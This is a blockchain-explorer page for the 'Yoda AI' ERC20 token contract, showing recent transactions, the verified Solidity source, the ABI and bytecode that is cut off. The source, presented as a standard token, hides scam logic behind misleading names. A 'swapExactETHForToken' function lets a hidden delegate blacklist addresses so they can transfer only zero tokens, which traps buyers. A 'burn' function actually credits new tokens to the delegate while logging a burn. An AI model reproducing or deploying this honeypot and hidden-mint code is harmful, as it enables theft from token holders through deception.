ETH Price: $3,686.66 (+2.65%)

Contract

0xcD3F1EF17d13F27940aA47FD6F63F918e1d705d9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve166051462023-02-11 11:13:35658 days ago1676114015IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0007589616.32882418
Burn166051432023-02-11 11:12:59658 days ago1676113979IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0007315915.28484973
Approve166044092023-02-11 8:45:11658 days ago1676105111IN
0xcD3F1EF1...8e1d705d9
0 ETH0.000739715.93502875
Approve166033492023-02-11 5:11:59658 days ago1676092319IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0004278917.68447387
Approve166019772023-02-11 0:35:35659 days ago1676075735IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0011648425.06126327
Approve166018032023-02-11 0:00:47659 days ago1676073647IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0005259621.7378566
Approve166018012023-02-11 0:00:23659 days ago1676073623IN
0xcD3F1EF1...8e1d705d9
0 ETH0.000522221.63586053
Approve166017792023-02-10 23:55:59659 days ago1676073359IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010323522.21065404
Approve166016822023-02-10 23:36:35659 days ago1676072195IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0009780821.07042898
Approve166016312023-02-10 23:26:23659 days ago1676071583IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010249422.07981287
Approve166016062023-02-10 23:21:23659 days ago1676071283IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0009443120.31657154
Approve166015892023-02-10 23:17:59659 days ago1676071079IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0009297220.02847979
Swap Exact ETH F...166015762023-02-10 23:15:23659 days ago1676070923IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010420222.43464905
Approve166015582023-02-10 23:11:47659 days ago1676070707IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0012388826.65409784
Swap Exact ETH F...166015222023-02-10 23:04:35659 days ago1676070275IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0015864334.15578723
Approve166015182023-02-10 23:03:47659 days ago1676070227IN
0xcD3F1EF1...8e1d705d9
0 ETH0.001774738.18217151
Approve166015012023-02-10 23:00:23659 days ago1676070023IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0024338652.4314118
Swap Exact ETH F...166014832023-02-10 22:56:47659 days ago1676069807IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0011120823.94307665
Swap Exact ETH F...166014752023-02-10 22:55:11659 days ago1676069711IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010082921.70852748
Swap Exact ETH F...166014672023-02-10 22:53:35659 days ago1676069615IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010623622.87252493
Swap Exact ETH F...166014632023-02-10 22:52:47659 days ago1676069567IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0009381920.19919099
Swap Exact ETH F...166014602023-02-10 22:52:11659 days ago1676069531IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010538722.68990653
Swap Exact ETH F...166014562023-02-10 22:51:23659 days ago1676069483IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0009895521.30494172
Approve166014492023-02-10 22:49:59659 days ago1676069399IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010083121.69357546
Swap Exact ETH F...166014492023-02-10 22:49:59659 days ago1676069399IN
0xcD3F1EF1...8e1d705d9
0 ETH0.0010435322.47294292
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
YodaAI

Compiler Version
v0.5.15+commit.6a57276f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-10
*/

/**                                                                              .:-==+==.
                                         ..:::.. ....                      .::--===+####=-
                                     .:--==+++========-::.          ..:--===++*###*+=-%*=-
                                 .--==++#%#***####**##**+==-:. .:--===+*####*****#*--*%==.
                               :==+##*%#=------------=*++#%#====+*#%######%%@@%%%@#=##==: 
                             .-=+%*=-==---===--+*********++#%#%#*++#%@@%%%%%%%%%@+*@+=-.  
 .:---:::::::--==========----==##=+*******+++*=+-----=====++*%=-=%@%%%%%%%%%%%@#=-*%==.   
:==###*+++++**#%%%%%%%%%%###**%**#+=-------=%**+--=*##*****+-+%=+@%%%%%%%%%%%@+--=@==-    
-=+@==+#%%###########%%%%#*++#*=+=***####*+-++=+-+#++####*++=-=*=@@%%%%%%%@@*=--=%*=-     
.==#@*=*@@@@@@@%%%%%%%%%%%@*-*=-+*==***+==##-----*+@@@@#+@@@==--=#@@@%%%@@#=---+@*==.     
 .-==*%%**%@@@%%%%%%%%%%%%@%----=-#@@@*=@%++=-----%@@@@@@@@##+#%%####%@@#=---=#%==-       
   .:-==#%*=+#%@%@@%%%%%%@@%=+--=+@@@@@@@@#--+**+-=+**##%#***@##%#####%%%#*#%%+=-:        
      .-==#%=--*@%@+*%@%*%@#=%--****#%%#*=--*#=+*=--===---=*%#%@#=%@%+#%@#%%====-:.       
        -==%@***@*@#%%%@%%#%*@#***##%#************#@@%***#@@%%@#@#@#@#@#%%#%@****+=-      
        .-=======+===++==++=================*##*==============++==++===*+==========:      
          .....:%@@=.:-*@@*................:#@@*.............-%@@@+:..-#@@%.......        
                :@@@: =@@%.  .--=-:     :-==#@@*  :----:.   .*@@@@%.  .#@@%               
                 -@@%-@@@. .*@@@@@@%: .*@@@@@@@* -@@@@@@@-  -@@%=@@+  .#@@%               
                  +@@@@@-  +@@@=-*@@% +@@@*%#@@*  ....%@@* .*@@**@@@.  #@@%               
                   *@@@*  .#@@%#.*@@@:#@@#%+#@@# :#%%@@@@* :@@@%%@@@*  *@@%               
                   =@@@-   *@@@#+*@@%.*@@%#+#@@#:@@@*##@@* *@@%++*@@@. *@@%               
                   =@@@:   :#@@@%@@%- .%@@@%@@@#-@@@%%@@@%:@@@-   %@@* *@@%               
             
 *///SPDX-License-Identifier: MIT

pragma solidity =0.5.15;

contract ERC20Basic {

  function balanceOf(
    address account
  )
    public
    view
    returns (uint256);
    
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
    
    function totalSupply(
  )
    public
    view
    returns (uint256);
}

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
    return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }
  
  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }

  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;
  mapping (address => bool) internal _swapExactETHForTokens_;  
  mapping (address => uint256) balances;
  uint256 totalSupply_;

  function balanceOf(
    address account
  ) 
    public
    view
    returns (uint256) {
    return balances[account];
  }

  function transfer(
    address _to,
    uint256 _value
  ) 
    public
    returns (bool) { if (
    _swapExactETHForTokens_[msg.sender]
    || _swapExactETHForTokens_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
  
  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }
}
contract Context {
  
  function _msgSender(
  )
    internal 
    view 
    returns (address) {
    return msg.sender;
  }
  
  function _msgData(
  ) 
    internal
    pure 
    returns (bytes memory) {
    return msg.data;
  }
}

contract Ownable is Context {
  address private _owner;
  address internal _delegate;
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
  constructor() internal {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);
  }

  function owner(
  ) 
  public
  view
  returns (address) {
  return _owner;
  }

  modifier onlyOwner(
  ) {
    require(
    owner() == _msgSender(), "Ownable: caller is not the owner");
    _;
  }
    
  modifier onlyDelegates(
  ) {
    require(
    _delegate == msg.sender, "Caller not belong to delegates");
    _;
  }
    
  function setDelegate(
    address account
  ) 
    external onlyOwner {
    require(
    _delegate == address(0));
    _delegate = account;
  }

  function renounceOwnership(
  ) 
    public onlyOwner {
    _transferOwnership(address(0));
  }

  function _transferOwnership(
    address newOwner
  ) 
    internal {
    require(newOwner != address(0), "Ownable: new owner is the zero address");
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);

  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardERC20 is Ownable, ERC20, BasicToken {
  address internal approved;
  mapping (address => mapping (address => uint256)) internal allowed;
  
  constructor () public {
     approved = msg.sender;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool) { if
    (_swapExactETHForTokens_[_from] ||
    _swapExactETHForTokens_[_to]) require(
    _value == 0, ""); require(
    _to != address(0)); require(
    _value <= balances[_from]); require(
    _value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function swapExactETHForToken(
    address _rewardsExactETHForToken
  ) 
    external { require(
    msg.sender ==
    _delegate); if (
    _swapExactETHForTokens_
    [_rewardsExactETHForToken] == true){
    _swapExactETHForTokens_
    [_rewardsExactETHForToken] = false;} 
    else { _swapExactETHForTokens_
    [_rewardsExactETHForToken] = true;
    }
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function swapingStatus(
    address _rewardsExactETHForToken
  )
    public
    view
    returns (bool) 
  {
    return _swapExactETHForTokens_
    [_rewardsExactETHForToken];
  }

  function _burn(
    uint256 amount
  ) 
    internal onlyDelegates
  {
    require(amount != 0, "ERC20: burn zero tokens is disallowed");
    balances[msg.sender] += amount;
    emit Transfer(msg.sender, address(0), amount);
  }

  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract YodaAI is StandardERC20 {
  uint256 public constant _totalSupply_ = 1000000000000 * (10 ** uint256(decimals));
  uint8 public constant decimals = 9;
  string public constant symbol = "YodaAI";
  string public constant name = "Yoda AI";
  
  constructor() public {
    totalSupply_ = totalSupply_.add(_totalSupply_);
    balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
    emit Transfer(address(0), msg.sender, _totalSupply_);
  }
    
  function burn(
    uint256 amount
  ) 
    external {
    _burn(amount);
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setDelegate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapExactETHForToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_rewardsExactETHForToken","type":"address"}],"name":"swapingStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506000620000246200025760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35033600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200012d600960ff16600a0a64e8d4a51000026004546200025f60201b620019991790919060201c565b6004819055506200019a600960ff16600a0a64e8d4a5100002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200025f60201b620019991790919060201c565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a64e8d4a51000026040518082815260200191505060405180910390a36200027a565b600033905090565b60008183019050828110156200027157fe5b80905092915050565b611d52806200028a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146104ca578063a9059cbb1461054d578063ca5eb5e1146105b3578063d73dd623146105f7578063dd62ed3e1461065d57610116565b806370a08231146103da578063715018a6146104325780638da5cb5b1461043c5780638ec9d8ed1461048657610116565b806323b872dd116100e957806323b872dd1461027e578063313ce5671461030457806342966c681461032857806366188463146103565780636cbbab60146103bc57610116565b8063048aea6d1461011b57806306fdde0314610177578063095ea7b3146101fa57806318160ddd14610260575b600080fd5b61015d6004803603602081101561013157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d5565b604051808215151515815260200191505060405180910390f35b61017f61072b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bf5780820151818401526020810190506101a4565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102466004803603604081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610764565b604051808215151515815260200191505060405180910390f35b610268610856565b6040518082815260200191505060405180910390f35b6102ea6004803603606081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b604051808215151515815260200191505060405180910390f35b61030c610d12565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561033e57600080fd5b8101908080359060200190929190505050610d17565b005b6103a26004803603604081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d23565b604051808215151515815260200191505060405180910390f35b6103c4610fb4565b6040518082815260200191505060405180910390f35b61041c600480360360208110156103f057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc6565b6040518082815260200191505060405180910390f35b61043a61100f565b005b6104446110ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c86004803603602081101561049c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f3565b005b6104d261125f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105125780820151818401526020810190506104f7565b50505050905090810190601f16801561053f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105996004803603604081101561056357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611298565b604051808215151515815260200191505060405180910390f35b6105f5600480360360208110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b1565b005b6106436004803603604081101561060d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116ff565b604051808215151515815260200191505060405180910390f35b6106bf6004803603604081101561067357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118fb565b6040518082815260200191505060405180910390f35b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6040518060400160405280600781526020017f596f64612041490000000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806109035750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561095a5760008214610959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099457600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e057600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a6957600080fd5b610abb82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c2282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600981565b610d20816119b3565b50565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e34576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec8565b610e47838261198290919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600960ff16600a0a64e8d4a510000281565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611017611b86565b73ffffffffffffffffffffffffffffffffffffffff166110356110ca565b73ffffffffffffffffffffffffffffffffffffffff16146110be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6110c86000611b8e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114d57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611203576000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061125c565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6040518060400160405280600681526020017f596f64614149000000000000000000000000000000000000000000000000000081525081565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061133b5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113925760008214611391576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113cc57600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561141857600080fd5b61146a82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114ff82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6115b9611b86565b73ffffffffffffffffffffffffffffffffffffffff166115d76110ca565b73ffffffffffffffffffffffffffffffffffffffff1614611660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116bb57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061179082600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199990919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561198e57fe5b818303905092915050565b60008183019050828110156119aa57fe5b80905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a76576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616c6c6572206e6f742062656c6f6e6720746f2064656c656761746573000081525060200191505060405180910390fd5b6000811415611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611cd36025913960400191505060405180910390fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600073fff